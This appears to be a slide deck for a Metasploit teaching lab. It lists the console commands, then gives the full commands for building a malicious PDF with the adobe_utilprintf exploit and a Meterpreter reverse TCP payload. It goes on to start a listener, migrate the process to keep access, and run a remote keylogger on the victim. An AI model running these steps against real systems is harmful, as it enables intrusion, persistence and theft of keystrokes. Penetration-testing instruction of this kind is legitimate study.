1. METASPLOIT

2. WHAT IS METASPLOIT? Metasploit is a framework for creating exploits
Written in Ruby
Created originally by HD Moore
Many Developers Worldwide
Commercial Version available from Rapid7
HD Moore
James Lee
Joshua J. Drake
Mike Smith
Tod Beardsley
Jon Cran MC
Ramon Valle
Patrick Webster
Efrain Torres
Stephen Fewer
Lurene Grenier
Steve Tornio
Nathan Keltner
I)ruid
Chris Gates
Kris Katterjohn
Carlos Perez

3. Metasploit Pro

4. TODAYS OBJECTIVES Create a Malicious PDF file
Have a user (victim) open that file
Change process ID so we have continued access to the victim
Gather info from the victim via a keylogger

5. BASIC STEPS The basic format for exploiting a system:
Pick which exploit to use
Configure the exploit
Pick a payload
Configure the payload
Execute the exploit

6. STARTING METASPLOIT Open a terminal session
Make sure you are in the right directory
Type “sudo msfconsole” at the command line
Updating Metasploit
On the Windows platform, launch the Metasploit Update.
On Linux simply enter msfupdate as root

7. STARTING METASPLOIT cont.
Got cow?

8. CORE COMMANDS We will be using a limited command set in our lab today.
Here are all the possible commands we could use.
? Help menu
back Move back from the current context
banner Display an awesome metasploit banner
cd Change the current working directory
color Toggle color
connect Communicate with a host
exit Exit the console
help Help menu
info Displays information about one or more module
irb Drop into irb scripting mode
jobs Displays and manages jobs
kill kill a job
load Load a framework plugin

9. CORE COMMANDS (cont.)
loadpath Searches for and loads modules from a path
quit Exit the console
resource Run the commands stored in a file
route Route traffic through a session
save Saves the active datastores
search Searches module names and descriptions
sessions Dump session listings and display information about sessions
set Sets a variable to a value
setg Sets a global variable to a value
show Displays modules of a given type, or all modules
sleep Do nothing for the specified number of seconds
unload Unload a framework plugin
unset Unsets one or more variables
unsetg Unsets one or more global variables
use Selects a module by name
version Show the framework and console library version numbers

10. CREATE MALICIOUS PDF Create PDF Include Meterpreter payload
Malicious PDF to victim

11. CREATING PDF uopadmin@Attacker1:~# sudo msfconsole
msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(adobe_utilprintf) >

12. CREATING PDF cont.

13. CREATING PDF cont.
msf exploit(adobe_utilprintf) > info msf exploit(adobe_utilprintf) > set OUTPUTPATH ~ OUTPUTPATH => ~ msf exploit(adobe_utilprintf) > set filename help.pdf filename => help.pdf msf exploit(adobe_utilprintf) > show payloads msf exploit(adobe_utilprintf) > set PAYLOAD windows/meterpreter/reverse_tcp PAYLOAD => windows/meterpreter/reverse_tcp msf exploit(adobe_utilprintf) > set LHOST x LHOST => x msf exploit(adobe_utilprintf) > set LPORT 80 LPORT => 80 msf exploit(adobe_utilprintf) > exploit

14. VICTIM RECEIVES FILE Victim opens file Exploit is launched
Connection made back to badguy machine
Begin using Meterpreter

15. USING METERPRETER
Changing process ID
Installing a key logger remotely

16. EXPLOITING
msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LPORT=80 LHOST= E

17. CHANGING PROCESS ID USING METERPRETER
sysinfo: Show the system name and OS type
ps: Show process IDs
getpid: Show the process ID of meterpreter
migrate: Migrate to another process ID

18. INSTALL KEYLOGGER VIA METERPRETER
keyscan_start: Start key logger
keyscan_dump: Read key logger data

19. USEFUL LINKS ### Main site http://www.metasploit.com ### User Guide
### Wiki
### exploits and POCs
Metasploit PDF Exploit
### VNC Word Macro Exploit
### Module Info
### clearing event logs
### exe2vba

20. CONTACT INFO
(that’s a zero)